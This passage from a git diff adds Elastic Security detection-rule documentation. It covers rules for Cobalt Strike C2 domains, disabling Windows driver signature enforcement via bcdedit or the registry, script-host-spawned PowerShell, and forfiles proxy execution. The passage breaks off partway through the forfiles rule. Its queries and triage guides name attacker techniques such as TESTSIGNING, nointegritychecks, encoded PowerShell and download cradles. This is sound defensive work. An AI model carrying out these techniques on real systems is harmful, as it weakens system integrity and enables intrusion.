activity, helping analysts pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific domain that triggered the rule, focusing on the pattern [a-z]{3}.stage.[0-9]{8}\..* to determine if it matches known malicious domains. +- Analyze the network traffic logs associated with the alert, specifically looking at events categorized under network or network_traffic with types tls or http, to gather more context about the communication. +- Investigate the source IP address and destination domain involved in the alert to determine if they have been associated with previous malicious activities or are listed in threat intelligence databases. +- Examine the timeline of the network activity to identify any patterns or anomalies that could indicate a larger campaign or coordinated attack. +- Check for any related alerts or incidents in the security information and event management (SIEM) system that might provide additional context or indicate a broader compromise. +- Assess the affected endpoint for any signs of compromise, such as unusual processes or connections, to determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar domain naming conventions. Review and whitelist known update servers to prevent false alerts. +- Internal development or testing environments might mimic Cobalt Strike's domain patterns for legitimate purposes. Identify and exclude these environments from the rule. +- Automated scripts or tools that generate network traffic with similar domain structures can trigger false positives. Monitor and document these tools, then create exceptions for their activity. +- Some content delivery networks (CDNs) might use domain patterns that match the rule's criteria. Verify and exclude trusted CDNs to reduce unnecessary alerts. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the rule's effectiveness. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the Cobalt Strike C2 server. This can be done by disconnecting the network or using network segmentation techniques. +- Conduct a thorough forensic analysis of the compromised systems to identify the extent of the breach and any additional payloads or backdoors that may have been installed. +- Remove any identified Cobalt Strike beacons or related malware from the affected systems using updated antivirus or endpoint detection and response (EDR) tools. +- Change all credentials and access tokens that may have been exposed or used on the compromised systems to prevent unauthorized access. +- Monitor network traffic for any signs of re-infection or communication attempts with known Cobalt Strike C2 domains, using updated threat intelligence feeds. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement network-level controls, such as blocking known malicious domains and IP addresses associated with Cobalt Strike, to prevent future attacks. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.*, logs-panw.panos*, logs-fortinet_fortigate.log-* metadata _id, _version, _index +| where ( + (event.category in ("network", "network_traffic") and network.protocol in ("tls", "http")) or + (data_stream.dataset == "panw.panos" and network.application in ("ssl", "web-browsing")) or + data_stream.dataset in ("network_traffic.tls", "network_traffic.http", "fortinet_fortigate.log") + ) +| where destination.domain RLIKE "[a-z]{3}\\.stage\\.[0-9]{8}\\..*" +| keep @timestamp, destination.domain, source.ip, destination.ip, network.protocol, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-code-signing-policy-modification-through-built-in-tools.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-code-signing-policy-modification-through-built-in-tools.asciidoc new file mode 100644 index 0000000000..75c69ce1ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-code-signing-policy-modification-through-built-in-tools.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-code-signing-policy-modification-through-built-in-tools]] +=== Code Signing Policy Modification Through Built-in tools + +Identifies attempts to disable/modify the code signing policy through system native utilities. Code signing provides authenticity on a program, and grants the user with the ability to check whether the program has been tampered with. By allowing the execution of unsigned or self-signed code, threat actors can craft and execute malicious code. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Code Signing Policy Modification Through Built-in tools* + + +Windows Driver Signature Enforcement (DSE) is a security feature introduced by Microsoft to enforce that only signed drivers can be loaded and executed into the kernel (ring 0). This feature was introduced to prevent attackers from loading their malicious drivers on targets. If the driver has an invalid signature, the system will not allow it to be loaded. + +This protection is essential for maintaining the security of the system. However, attackers or even administrators can disable this feature and load untrusted drivers, as this can put the system at risk. Therefore, it is important to keep this feature enabled and only load drivers from trusted sources to ensure the integrity and security of the system. + +This rule identifies commands that can disable the Driver Signature Enforcement feature. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Use Osquery and endpoint driver events (`event.category = "driver"`) to investigate if suspicious drivers were loaded into the system after the command was executed. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} +- Identify the driver's `Device Name` and `Service Name`. +- Check for alerts from the rules specified in the `Related Rules` section. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Related Rules* + + +- First Time Seen Driver Loaded - df0fd41e-5590-4965-ad5e-cd079ec22fa9 +- Untrusted Driver Loaded - d8ab1ec1-feeb-48b9-89e7-c12e189448aa +- Code Signing Policy Modification Through Registry - da7733b1-fe08-487e-b536-0a04c6d8b0cd + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Disable and uninstall all suspicious drivers found in the system. This can be done via Device Manager. (Note that this step may require you to boot the system into Safe Mode.) +- Remove the related services and registry keys found in the system. Note that the service will probably not stop if the driver is still installed. + - This can be done via PowerShell `Remove-Service` cmdlet. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Remove and block malicious artifacts identified during triage. +- Ensure that the Driver Signature Enforcement is enabled on the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name: "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and process.args: ("-set", "/set") and + process.args: ("TESTSIGNING", "nointegritychecks", "loadoptions", "DISABLE_INTEGRITY_CHECKS") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing Policy Modification +** ID: T1553.006 +** Reference URL: https://attack.mitre.org/techniques/T1553/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-code-signing-policy-modification-through-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-code-signing-policy-modification-through-registry.asciidoc new file mode 100644 index 0000000000..fd1ad2f501 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-code-signing-policy-modification-through-registry.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-code-signing-policy-modification-through-registry]] +=== Code Signing Policy Modification Through Registry + +Identifies attempts to disable the code signing policy through the registry. Code signing provides authenticity on a program, and grants the user with the ability to check whether the program has been tampered with. By allowing the execution of unsigned or self-signed code, threat actors can craft and execute malicious code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Code Signing Policy Modification Through Registry* + + +Microsoft created the Windows Driver Signature Enforcement (DSE) security feature to prevent drivers with invalid signatures from loading and executing into the kernel (ring 0). DSE aims to protect systems by blocking attackers from loading malicious drivers on targets. + +This protection is essential for maintaining system security. However, attackers or administrators can disable DSE and load untrusted drivers, which can put the system at risk. Therefore, it's important to keep this feature enabled and only load drivers from trusted sources to ensure system integrity and security. + +This rule identifies registry modifications that can disable DSE. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Use Osquery and endpoint driver events (`event.category = "driver"`) to investigate if suspicious drivers were loaded into the system after the registry was modified. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} +- Identify the driver's `Device Name` and `Service Name`. +- Check for alerts from the rules specified in the `Related Rules` section. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Related Rules* + + +- First Time Seen Driver Loaded - df0fd41e-5590-4965-ad5e-cd079ec22fa9 +- Untrusted Driver Loaded - d8ab1ec1-feeb-48b9-89e7-c12e189448aa +- Code Signing Policy Modification Through Built-in tools - b43570de-a908-4f7f-8bdb-b2df6ffd8c80 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Disable and uninstall all suspicious drivers found in the system. This can be done via Device Manager. (Note that this step may require you to boot the system into Safe Mode.) +- Remove the related services and registry keys found in the system. Note that the service will probably not stop if the driver is still installed. + - This can be done via PowerShell `Remove-Service` cmdlet. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Remove and block malicious artifacts identified during triage. +- Ensure that the Driver Signature Enforcement is enabled on the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value: "BehaviorOnFailedVerify" and registry.data.strings : ("0", "0x00000000", "1", "0x00000001") and + not process.executable : + ("?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\CCM\\CcmExec.exe") + /* + Full registry key path omitted due to data source variations: + "HKEY_USERS\\*\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing\\BehaviorOnFailedVerify" + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing Policy Modification +** ID: T1553.006 +** Reference URL: https://attack.mitre.org/techniques/T1553/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-and-scripting-interpreter-via-windows-scripts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-and-scripting-interpreter-via-windows-scripts.asciidoc new file mode 100644 index 0000000000..4142e1659a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-and-scripting-interpreter-via-windows-scripts.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-command-and-scripting-interpreter-via-windows-scripts]] +=== Command and Scripting Interpreter via Windows Scripts + +Identifies PowerShell, PowerShell ISE, or Cmd execution spawned from Windows Script Host or MSHTA. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Command and Scripting Interpreter via Windows Scripts* + + + +*Possible investigation steps* + + +- What script-host-to-interpreter chain did the alert capture? + - Focus: `process.parent.name`, `process.parent.executable`, `process.parent.command_line`, `process.name`, and `process.command_line`. + - Implication: escalate when "wscript.exe" or "mshta.exe" launches PowerShell/pwsh/ISE/cmd from user-writable script/HTA, archive, download path, or URL; lower suspicion only when parent source, child command, `user.id`, and `host.id` fit one recognized logon, deployment, or vendor workflow. + +- Does the child command express staging, retrieval, persistence, or defense evasion? + - Focus: `process.command_line`: "-EncodedCommand"/"-e", "-NoProfile", hidden windows, execution-policy bypass, Invoke-Expression/DownloadString, cmd "/c" chaining, curl/bitsadmin retrieval, or schtasks/sc.exe changes. + - Hint: decode or reconstruct encoded or inline PowerShell before deciding intent; use script-block logs as optional corroboration. + - Follow-on: inspect child starts from `process.entity_id`; PID-only matches are timestamp-bound candidates. !{investigate{"description":"","label":"Child process events for the script-launched process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the command fetches content, decodes or executes inline script, launches another shell, or changes tasks/services; lower risk only when it runs a local script from the same logon, deployment, or vendor source without staging or unexpected egress. + +- Does the child binary identity fit the observed command line and location? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is renamed, unsigned or untrusted from a user-writable path, or mismatched to original file name; lower identity risk when signer, path, and hash history fit the expected interpreter, but identity alone never clears suspicious command intent. + +- Did the alerting process stage scripts, archives, or follow-on payloads? + - Focus: file events scoped by `host.id` plus `process.entity_id`, or `host.id` plus `process.pid` in a tight window, checking `file.path`, `file.Ext.original.path`, `file.Ext.original.extension`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File events for the script-launched process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: for PID fallback, require file time within the child lifetime. + - Implication: escalate when the child writes or renames scriptable or executable content under temp, profile, public, startup, or deceptive paths, especially with internet provenance or type/extension mismatch; absent file telemetry is unresolved, not benign. + +- Did same-process network events show retrieval, staging, or callback behavior? + - Focus: network events scoped by `host.id` plus `process.entity_id`, or `host.id` plus `process.pid` in a tight window, separating DNS `dns.question.name` and `dns.resolved_ip` from connection `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the script-launched process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: map DNS `dns.resolved_ip` to later connections before treating a domain as confirmed. + - Implication: escalate when the process reaches external script-delivery, paste, storage, or C2 infra unrelated to the workflow; lower network risk when connections stay on recognized internal, proxy, or vendor services. Missing network telemetry is unresolved, not benign. + +- If local evidence stays suspicious or unresolved, does the same pattern appear in related alerts? + - Focus: related alerts for `user.id`, checking execution, persistence, defense-evasion, or outbound context before comparing preserved `process.parent.executable`, `process.parent.command_line`, or `process.command_line` fragments. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use `host.id` alerts to test whether the chain is isolated, repeats with suspicious activity, or appears as adjacent variants such as "cscript.exe" launchers or delayed descendant shells. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user or host shows repeated script-host launches, task or service changes, persistence, or outbound staging; keep local only when the pattern is isolated and local evidence supports one recognized workflow. + +- Escalate when parent provenance, command intent, identity, artifacts, destinations, or related alerts support proxy execution or second-stage activity; close only when alert-local evidence and recovery bind one recognized workflow, with outside confirmation for telemetry gaps; preserve artifacts and escalate when evidence conflicts or visibility is incomplete. + + +*False positive analysis* + + +- Logon scripts and deployment wrappers can legitimately launch cmd or PowerShell through Windows Script Host. Confirm only when `process.parent.executable`, `process.parent.command_line`, `process.command_line`, `user.id`, `host.id`, and same-process `file.path` or `destination.ip` recovered through `host.id` plus `process.entity_id`, or `host.id` plus `process.pid` in a tight window, align with one recognized workflow. If file or network telemetry is absent, use outside confirmation. Stable recurrence for that parent source, child command, user, and host can support closure when script inventory or change context exists; first-observed workflows need outside confirmation before exceptioning. Any mismatch keeps the case suspicious. +- Vendor/installer/hardware-diagnostic HTA/VBS launchers can trigger this rule. Confirm only when `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, parent script path, file writes, and destinations match one vendor package. Without package context, recurring signer/hash, parent source, child command, and host cohort can support closure; first-observed packages need outside confirmation. +- For exceptions, validate: `process.parent.executable`, `process.parent.command_line`, child `process.executable`, stable `process.command_line` fragment, `process.code_signature.subject_name`, `user.id`, and `host.id`. Avoid exceptions on `process.name`, child `process.executable`, or parent process name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the parent script path, child command pattern, signer, `user.id`, and `host.id` proving the workflow. Create exceptions only for exact workflows recurring in prior rule alerts. +- If suspicious but unconfirmed, preserve the process event, `process.entity_id` or `process.pid` with `host.id` and time, command lines, suspicious `file.path` values, and confirmed `dns.question.name`, `destination.ip`, or `destination.port` before response. Apply reversible containment first: temporary destination blocking, disabling newly created scripts or tasks, or heightened host monitoring. Isolate only when corroborating staging, persistence, or outbound activity is confirmed and interruption is tolerable. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, preserve `process.entity_id`, `process.parent.entity_id`, command lines, written `file.path` artifacts, and confirmed destinations, then isolate the host or block destinations based on staging and network evidence. Terminate malicious child or descendant processes after evidence capture; if direct endpoint response is unavailable, hand off artifacts for isolation or destination blocking. +- Review related hosts and users for the same parent-child command pattern, confirmed destinations, and confirmed staged files only when endpoint file telemetry or related alerts preserve them. Then remove malicious scripts, HTA content, scheduled tasks, or dropped payloads, and remediate the delivery path. +- Post-incident hardening: restrict unsupported "mshta.exe" and Windows Script Host use on workstations, retain process/file/network telemetry needed for this investigation, and record adjacent variants found during triage. + + +==== Setup + + + +*Setup* + + +This rule requires telemetry from one of the configured source integrations to be enabled and ingested. + + +*Supported data sources* + + +This rule can use the following data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.command_line != null and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe", "cmd.exe") or + ?process.pe.original_file_name : ("powershell.exe", "pwsh.dll", "powershell_ise.exe", "Cmd.Exe") + ) and + process.parent.name : ("wscript.exe", "mshta.exe") and + not ( + process.args : ( + "C:\\Program Files\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat", + "\"C:\\Program Files\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat\"" + ) or + process.command_line : ( + "\"C:\\Windows\\system32\\cmd.exe\" /c auditpol.exe /set /SUBCATEGORY:*", + "\"C:\\Windows\\system32\\cmd.exe\" /c auditpol.exe /get*", + "\"C:\\Windows\\system32\\cmd.exe\" /c exit\"" + ) or + (process.args == "-File" and process.args == "-ExecutionPolicy") + ) + and + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-execution-via-forfiles.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-execution-via-forfiles.asciidoc new file mode 100644 index 0000000000..2ff912fc1f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-execution-via-forfiles.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-command-execution-via-forfiles]] +=== Command Execution via ForFiles + +Detects attempts to execute a command via the forfiles Windows utility. Adversaries may use this utility to proxy execution via a trusted parent process. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* 